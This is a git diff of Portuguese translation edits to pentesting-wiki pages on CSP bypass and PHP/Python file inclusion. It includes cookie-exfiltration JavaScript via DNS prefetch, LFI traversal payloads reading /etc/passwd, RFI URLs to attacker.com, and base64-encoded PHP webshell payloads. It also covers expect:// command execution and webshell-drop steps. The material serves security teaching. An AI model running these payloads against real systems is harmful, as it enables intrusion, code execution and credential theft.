**encher o buffer de resposta com avisos** para que o **CSP header** não seja enviado. +PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um warning, ao fornecer **dados suficientes dentro dos warnings**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, causando que o header seja ignorado.\ +Então, a técnica consiste basicamente em **preencher o buffer de resposta com warnings** para que o cabeçalho CSP não seja enviado. -### Kill CSP via max_input_vars (headers already sent) +Idea de [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). -Porque os headers devem ser enviados antes de qualquer output, avisos emitidos pelo PHP podem invalidar chamadas posteriores a `header()`. Se a entrada do usuário exceder `max_input_vars`, o PHP lança primeiro um startup warning; qualquer `header('Content-Security-Policy: ...')` subsequente falhará com “headers already sent”, desabilitando efetivamente o CSP e permitindo reflective XSS que seriam bloqueados de outra forma. +### Desativar CSP via max_input_vars (headers already sent) + +Como headers devem ser enviados antes de qualquer output, avisos emitidos pelo PHP podem invalidar chamadas posteriores a `header()`. Se a entrada do usuário exceder `max_input_vars`, o PHP lança um startup warning primeiro; qualquer `header('Content-Security-Policy: ...')` subsequente irá falhar com “headers already sent”, efetivamente desabilitando a CSP e permitindo XSS reflexivo que seria bloqueado. ```php " @@ -629,9 +630,9 @@ curl -i "http://orange.local/?xss=&A=1&A=2&...&A=1000" # Warning: PHP Request Startup: Input variables exceeded 1000 ... # Warning: Cannot modify header information - headers already sent ``` -### Reescrever a página de erro +### Reescrever Página de Erro -Pelo [**this writeup**](https://blog.ssrf.kr/69) parece que era possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo. +De acordo com [**this writeup**](https://blog.ssrf.kr/69), parece que foi possível bypass a proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo. ```javascript a = window.open("/" + "x".repeat(4100)) setTimeout(function () { @@ -640,24 +641,25 @@ a.document.body.innerHTML = `` +Para carregar páginas mais rápido, os navegadores vão pré-resolver hostnames em IP addresses e armazená-los em cache para uso posterior.\ +Você pode indicar um navegador para pré-resolver um hostname com: `` -Você poderia abusar desse comportamento para **exfiltrate sensitive information via DNS requests**: +Você poderia abusar desse comportamento para **exfiltrate informações sensíveis via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -690,7 +692,7 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP: +Para evitar que isso aconteça, o servidor pode enviar o HTTP header: ``` X-DNS-Prefetch-Control: off ``` @@ -701,7 +703,7 @@ X-DNS-Prefetch-Control: off Em várias páginas você pode ler que **WebRTC não verifica a política `connect-src` do CSP**. -Na verdade você pode _leak_ informações usando um _DNS request_. Confira este código: +Na verdade você pode _leak_ informações usando uma _DNS request_. Confira este código: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -723,7 +725,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -O popup de credenciais envia uma requisição DNS para o iconURL sem ser restringido pela página. Só funciona em um contexto seguro (HTTPS) ou em localhost. +O popup de credenciais envia uma requisição DNS para o iconURL sem ser restringido pela página. Funciona apenas em um contexto seguro (HTTPS) ou em localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -736,7 +738,7 @@ iconURL:"https:"+your_data+"example.com" ``` ## Verificando políticas CSP online -- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/) +- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Criando CSP automaticamente diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 660f98aa6..2c03099a1 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,22 +4,22 @@ ## File Inclusion -**Remote File Inclusion (RFI):** O arquivo é carregado a partir de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto está **desativado** por padrão (**allow_url_include**).\ +**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isso está **desativado** por padrão (**allow_url_include**).\ **Local File Inclusion (LFI):** O servidor carrega um arquivo local. -A vulnerabilidade ocorre quando o usuário consegue controlar de alguma forma qual arquivo será carregado pelo servidor. +A vulnerabilidade ocorre quando o usuário pode controlar, de alguma forma, o arquivo que será carregado pelo servidor. Funções **PHP** vulneráveis: require, require_once, include, include_once Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Interessantes - LFI2RCE arquivos +## Blind - Interesting - LFI2RCE files ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** -**Misturando várias listas LFI de \*nix e adicionando mais caminhos, eu criei esta:** +**Misturando várias listas de LFI de \*nix e adicionando mais caminhos, criei esta:** {{#ref}} @@ -33,7 +33,7 @@ Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para ### **Windows** -Mescla de diferentes wordlists: +Mesclagem de diferentes wordlists: {{#ref}} @@ -47,15 +47,15 @@ Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para ver ### **OS X** -Consulte a lista LFI de Linux. +Verifique a lista de LFI do Linux. ## Basic LFI and bypasses -All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](). +Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences removidos não recursivamente +### traversal sequences removidas de forma não recursiva ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass a adição de caracteres extras ao final da string fornecida (bypass of: $\_GET\['param']."php") +Bypass a adição de mais caracteres ao final da string fornecida (bypass de: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Isso está **corrigido desde o PHP 5.4** +Isso está **resolvido desde o PHP 5.4** ### **Codificação** -Você pode usar codificações não padrão, como double URL encode (e outras): +Você pode usar codificações não padrão como double URL encode (e outras): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -86,34 +86,34 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Explorando Diretórios do Sistema de Arquivos em um Servidor -O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso: +O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso: -1. **Determinar Profundidade do Diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três: +1. **Determinar a Profundidade do Diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Probe for Folders:** Anexe o nome da pasta suspeita (por exemplo, `private`) ao URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade: +2. **Verificar pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) ao URL, depois navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpretar os resultados:** A resposta do servidor indica se a pasta existe: +3. **Interprete os resultados:** A resposta do servidor indica se a pasta existe: - **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado. -- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada. -4. **Exploração recursiva:** Pastas descobertas podem ser investigadas mais a fundo para subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI). +- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` está confirmada. +4. **Exploração recursiva:** Pastas descobertas podem ser sondadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais Local File Inclusion (LFI). -Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use: +Para explorar diretórios em locais diferentes no sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado. +Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. Frequentemente é usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado. Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são tratados como o mesmo caminho. -- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando `passwd/`) não altera o arquivo alvo. -- De forma semelhante, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo acessado. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, e `/etc/passwd/` são todos tratados como o mesmo caminho. +- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando-o `passwd/`) não altera o arquivo alvo. +- Da mesma forma, se `.php` é adicionado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` ao final não alterará o arquivo acessado. Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário): ``` @@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Nesses cenários, o número de traversals necessários pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor. +Nesses cenários, o número de traversais necessários pode girar em torno de 2027, mas esse valor pode variar conforme a configuração do servidor. -- **Usando Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos adicionais de ponto e caracteres podem ser usadas para navegar no sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor. -- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam anuladas, mas o caminho desejado (`/etc/passwd`) permaneça intacto. -- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor. +- **Using Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor. +- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então até `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas que o caminho desejado (`/etc/passwd`) permaneça intacto. +- **Starting with a Fake Directory**: É prática comum iniciar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor. -When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. +Ao empregar path truncation techniques, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes costumam ser necessários para encontrar o método mais eficaz. -**This vulnerability was corrected in PHP 5.3.** +**Esta vulnerabilidade foi corrigida no PHP 5.3.** -### **Truques para contornar filtros** +### **Filter bypass tricks** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd @@ -145,12 +145,12 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -No php isso está desabilitado por padrão porque **`allow_url_include`** é **Off.** Isso precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE: +No php, isso está desabilitado por padrão porque **`allow_url_include`** é **Off.** Deve estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE: +Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [segundo este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP b64 e obter RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` @@ -161,7 +161,7 @@ Outro exemplo **não usando o protocolo `php://`** seria: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Elemento root em Python +## Elemento raiz em Python Em Python, em um código como este: ```python @@ -173,17 +173,17 @@ Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho a os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -É o comportamento intencional de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +Isso é o comportamento pretendido de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto. -## Java Listar Diretórios +## Java Listar diretórios -Parece que se você tiver um Path Traversal em Java e você **pedir por um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (afaik). +Parece que se você tiver um Path Traversal em Java e você **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontece em outras linguagens (pelo que sei). ## Top 25 parâmetros -Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Aqui está a lista dos top 25 parâmetros que podem ser vulneráveis a local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a lo ?mod={payload} ?conf={payload} ``` -## LFI / RFI usando PHP wrappers & protocols +## LFI / RFI usando wrappers e protocolos PHP ### php://filter -PHP filters permitem realizar operações básicas de **modificação nos dados** antes que sejam lidos ou escritos. Existem 5 categorias de filtros: +PHP filters permitem executar operações básicas de **modificação nos dados** antes que eles sejam lidos ou escritos. Existem 5 categorias de filtros: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">") -- Note que este filtro desapareceu nas versões modernas do PHP +- Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforma para uma codificação diferente(`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l` +- `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas execute no console: `iconv -l` > [!WARNING] -> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muita informação) +- `zlib.deflate`: Comprime o conteúdo (útil se estiver exfiltrando muita informação) - `zlib.inflate`: Descomprime os dados - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Deprecated -- `mdecrypt.*` : Deprecated +- `mcrypt.*` : Depreciado +- `mdecrypt.*` : Depreciado - Outros filtros -- Ao executar em php `var_dump(stream_get_filters());` você pode encontrar um par de **filtros inesperados**: +- Executando em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**: - `consumed` -- `dechunk`: reverte HTTP chunked encoding +- `dechunk`: reverte a codificação HTTP chunked - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> A parte "php://filter" não diferencia maiúsculas de minúsculas +> A parte "php://filter" é case insensitive ### Usando php filters como oracle para ler arquivos arbitrários -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma **boolean exfiltration of the file (char by char) using php filters** como oracle. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica baseia-se numa **boolean exfiltration of the file (caractere por caractere) usando php filters** como oracle. Isto porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção. -No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido: +No post original você pode encontrar uma explicação detalhada da técnica, mas aqui vai um resumo rápido: -- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente. -- Isso será usado para gerar um **text so big when the initial letter is guessed correctly** que fará o php disparar um **erro**. +- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string aumentar exponencialmente. +- Isto será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php vai disparar um **erro** - O filtro **dechunk** vai **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex. -- Isso, combinado com o anterior (e other filters dependendo da letra testada), permitirá advinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a deletará e a bomba inicial fará o php gerar um erro. -- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto dechunk não a deleta e o php error é acionado porque se multiplica com a bomba inicial. -- Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex). -- Quando o char inicial é um número é necessário fazer base64 encode dele e leak as 2 primeiras letras para leak o número. -- The final problem is to see **how to leak more than the initial letter**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível trocar a ordem dos chars e trazer para a primeira posição outras letras do texto. -- E para conseguir **further data** a ideia é **gerar 2 bytes de junk data no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-los **pivot with the next 2 bytes**, e **delete the data until the junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak. +- Isto, combinado com o anterior (e outros filtros dependendo da letra adivinhada), permitirá adivinhar uma letra no começo do texto vendo quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro. +- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então depois deste codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal, portanto dechunk não a apaga e o php error é disparado porque ele multiplica com a bomba inicial. +- Usando outras transformações como **rot13** no início é possível leak other chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex). +- Quando o char inicial é um número é necessário codificá-lo em base64 e leak the 2 first letters para leak o número. +- O problema final é ver **como leak mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos chars e trazer para a primeira posição outras letras do texto. +- E para poder obter **mais dados** a ideia é **gerar 2 bytes de junk data no começo** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer pivotar com os próximos 2 bytes, e **deletar os dados até o junk data** (isto removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak. -No post também foi leaked uma ferramenta para automatizar isso: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +No post uma ferramenta para executar isto automaticamente também foi leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Esse wrapper permite acessar file descriptors que o processo tem abertos. Potentially useful to exfiltrate the content of opened files: +This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **file descriptors 0, 1 and 2** respectivamente (não tenho certeza de como isso poderia ser útil em um attack) +Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **file descriptors 0, 1 and 2** respectivamente (não sei ao certo como isso poderia ser útil em um ataque) ### zip:// and rar:// Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\ -Para poder abusar do protocolo rar ele **precisa ser ativado especificamente**. +Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -332,7 +332,7 @@ Observe que este protocolo é restrito pelas configurações do php **`allow_url ### expect:// -Expect precisa estar ativado. Você pode executar código usando isto: +O Expect precisa estar ativado. Você pode executar código usando isto: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data " [!WARNING] -> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porque o conteúdo não é mostrado. +> Esta técnica é relevante em casos onde você **control** o **file path** de uma **PHP function** que irá **access a file** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) já que o conteúdo não é exibido. -Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrate the content of a file via an error oracle**. +No [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrate the content of a file via an error oracle**. -Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo disparará um **erro**. +Resumindo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **big** que a **PHP function opening** o arquivo vai disparar um **error**. -Então, para leak o primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros chars no início e leak them**. +Então, para leak o primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **place other chars at the beggining and leak them**. Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Para os detalhes técnicos confira o post mencionado! +Para os detalhes técnicos, consulte o post mencionado! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. +Quando o código server-side que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalising e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell. Fluxo típico de exploração: -- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). -- Determine web-exposed directories. Common examples: +- Identifique um write primitive em um endpoint ou background worker que aceite um path/filename e grave conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Determine web-exposed directories. Exemplos comuns: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. -- Browse to the dropped payload and execute commands. +- Crie um traversal path que saia do diretório de armazenamento pretendido para o webroot, e inclua o conteúdo do seu webshell. +- Navegue até o payload dropado e execute comandos. -Notas: -- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. -- Em stacks Java, essas escritas de arquivo são frequentemente implementadas com simples concatenação de `File`/`Paths`. A falta de canonicalisation/allow-listing é a falha central. +Observações: +- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá o seu payload posteriormente. +- Em stacks Java, essas gravações de arquivo frequentemente são implementadas com simples concatenação `File`/`Paths`. A falta de canonicalisation/allow-listing é a falha central. -Exemplo genérico estilo XML/JMF (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): +Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,25 +466,25 @@ in.transferTo(out); ``` -Mitigações que derrotam essa classe de bugs: -- Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base allow-listed. -- Rejeite qualquer caminho contendo `..`, raízes absolutas, ou letras de unidade; prefira nomes de arquivo gerados. -- Execute o writer como uma conta com poucos privilégios e segregue os diretórios de escrita das raízes servidas. +Reforços que previnem essa classe de bugs: +- Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base na allow-list. +- Rejeite qualquer caminho que contenha `..`, raízes absolutas, ou letras de drive; prefira nomes de arquivo gerados. +- Execute o writer como uma conta de baixo privilégio e segregue diretórios de escrita das raízes servidas. ## Remote File Inclusion -Explicado anteriormente, [**siga este link**](#remote-file-inclusion). +Explicado anteriormente, [**follow this link**](#remote-file-inclusion). ### Via Apache/Nginx log file -Se o servidor Apache ou Nginx estiver **vulnerável a LFI** na função include você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, inserir no **user agent** ou em um **GET parameter** um php shell como **``** e 